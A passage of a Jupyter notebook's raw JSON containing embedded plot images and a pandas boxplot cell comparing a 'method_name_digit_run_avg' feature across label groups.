n\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 152 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('method_name_digit_run_avg', 'label')\n", + "plt.ylabel('Avg length of digits')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 153, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\nIIFJkiRJkrQuGyTpXg0c3KP+YOCPg3x4ROwcEW+